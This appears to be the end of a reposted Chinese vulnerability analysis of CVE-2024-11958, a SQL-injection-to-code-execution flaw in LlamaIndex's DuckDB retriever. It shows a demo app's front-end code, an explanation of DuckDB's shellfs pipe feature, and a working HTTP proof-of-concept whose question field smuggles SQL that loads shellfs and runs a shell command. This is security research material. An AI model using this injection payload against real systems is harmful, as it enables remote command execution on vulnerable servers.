&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<divclass="empty-state"id="emptyState">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<divclass="icon">💬</div>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<p>请输入您的问题,系统将为您检索相关文档</p>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div>

&nbsp; &nbsp;&nbsp;</div>

&nbsp; &nbsp;&nbsp;<script>
&nbsp; &nbsp; &nbsp; &nbsp; (function() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'use strict';

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constform=document.getElementById('questionForm');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constquestion=document.getElementById('question');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constsubmitBtn=document.getElementById('submitBtn');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constresultContainer=document.getElementById('resultContainer');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constemptyState=document.getElementById('emptyState');

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;letisSubmitting=false;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;form.addEventListener('submit',&nbsp;asyncfunction(event) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;event.preventDefault();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(isSubmitting) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constquery=question.value.trim();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!query) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;showError('请输入您的问题');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;startQuery();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constresponse=awaitfetch('/ask', {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;method:&nbsp;'POST',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;headers: {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Content-Type':&nbsp;'application/json'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;body:&nbsp;JSON.stringify({&nbsp;question:&nbsp;query&nbsp;})
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; });

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constdata=awaitresponse.json();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!response.ok) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;thrownewError(data.error||'查询失败');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;displayResults(data.answer||&nbsp;[]);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(error) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;showError(error.message||'查询失败,请稍后重试');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;finally&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;endQuery();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; });

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;functionstartQuery() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;isSubmitting=true;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;submitBtn.disabled=true;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;submitBtn.classList.add('loading');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;question.disabled=true;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;emptyState.style.display='none';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;clearResults();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;showLoading();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;functionendQuery() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;isSubmitting=false;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;submitBtn.disabled=false;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;submitBtn.classList.remove('loading');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;question.disabled=false;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;functionshowLoading() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;resultContainer.innerHTML=`
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<div class="result-item">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<div class="result-content">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class="loading-dots">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span></span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span></span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span></span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;正在检索相关文档...
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;`;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;functiondisplayResults(answers) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;clearResults();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!answers||answers.length===0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;resultContainer.innerHTML=`
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<div class="empty-state">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<div class="icon">🔍</div>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<p>未找到相关文档,请尝试其他问题</p>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;`;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;answers.forEach((answer,&nbsp;index)&nbsp;=>&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constitem=document.createElement('div');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;item.className='result-item';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;item.innerHTML=`
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<div class="result-item-header">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span class="index">#${index+1}</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<svg class="icon" viewBox="0 0 24 24" fill="none" stroke="currentColor">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<path d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z" stroke-width="2"/>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</svg>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<div class="result-content">${escapeHtml(answer)}</div>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;`;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;resultContainer.appendChild(item);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; });
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;functionshowError(message) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;clearResults();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;consterrorDiv=document.createElement('div');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;errorDiv.className='error-message';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;errorDiv.innerHTML=`
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<div class="error-title">⚠️ 错误</div>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<div>${escapeHtml(message)}</div>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;`;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;resultContainer.appendChild(errorDiv);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;functionclearResults() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;resultContainer.innerHTML='';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;functionescapeHtml(text) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constdiv=document.createElement('div');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;div.textContent=text;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returndiv.innerHTML;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; })();
&nbsp; &nbsp;&nbsp;</script>
</body>
</html>

启用web.py

shellfs扩展

什么是shellfs?

<font style="color:rgb(221, 17, 68);background-color:rgba(27, 31, 35, 0.05);">shellfs</font>扩展为 DuckDB 提供了使用 Unix 管道进行输入和输出的能力。

通过在文件名后附加管道字符 <font style="color:rgb(221, 17, 68);background-color:rgba(27, 31, 35, 0.05);">|</font>,DuckDB 会将其视为一系列要执行的命令,并捕获输出。相反,如果你在文件名前加上 <font style="color:rgb(221, 17, 68);background-color:rgba(27, 31, 35, 0.05);">|</font>,DuckDB 会将其视为输出管道。

漏洞复现

于是可以构建如下POC

POST/askHTTP/1.1
Host:&nbsp;127.0.0.1:7001
Content-Length:&nbsp;165
sec-ch-ua-platform:&nbsp;"Windows"
Accept-Language:&nbsp;zh-CN,zh;q=0.9
sec-ch-ua:&nbsp;"Chromium";v="143",&nbsp;"Not A(Brand";v="24"
Content-Type:&nbsp;application/json
sec-ch-ua-mobile:&nbsp;?0
User-Agent:&nbsp;Mozilla/5.0&nbsp;(WindowsNT10.0;&nbsp;Win64;&nbsp;x64)&nbsp;AppleWebKit/537.36&nbsp;(KHTML,&nbsp;likeGecko)&nbsp;Chrome/143.0.0.0Safari/537.36
Accept:&nbsp;*/*
Origin: http://127.0.0.1:7001
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:7001/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"question":"test') as score, node_id, text from documents; install shellfs from community; load shellfs; select * from read_csv('calc.exe 123|'); select concat('0"}

参考链接

https://nvd.nist.gov/vuln/detail/CVE-2024-11958

https://duckdb.org/community_extensions/extensions/shellfs

https://github.com/run-llama/llama_index

https://www.modb.pro/db/1814130920039919616

免责声明

本漏洞分析报告仅用于安全研究和防御目的。请勿将此信息用于任何非法活动。未授权测试他人系统属于违法行为,后果由使用者承担。

扫描二维码加入知识星球获取更多内容:

【已复现】jsPDF 本地文件包含/路径遍历 (CVE-2025-68428)

【已复现】MongoDB 未授权内存泄露漏洞(CVE-2025-14847)

【已复现】CVE-2025-68613 n8n 表达式注入导致远程代码执行(RCE CVSS 10.0)

已复现 帆软export/excel SQL注入漏洞


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:SecurityPaper whoami0002《【漏洞分析】LlamaIndex SQL2RCE漏洞分析(CVE-2024-11958)》

评论:0   参与:  0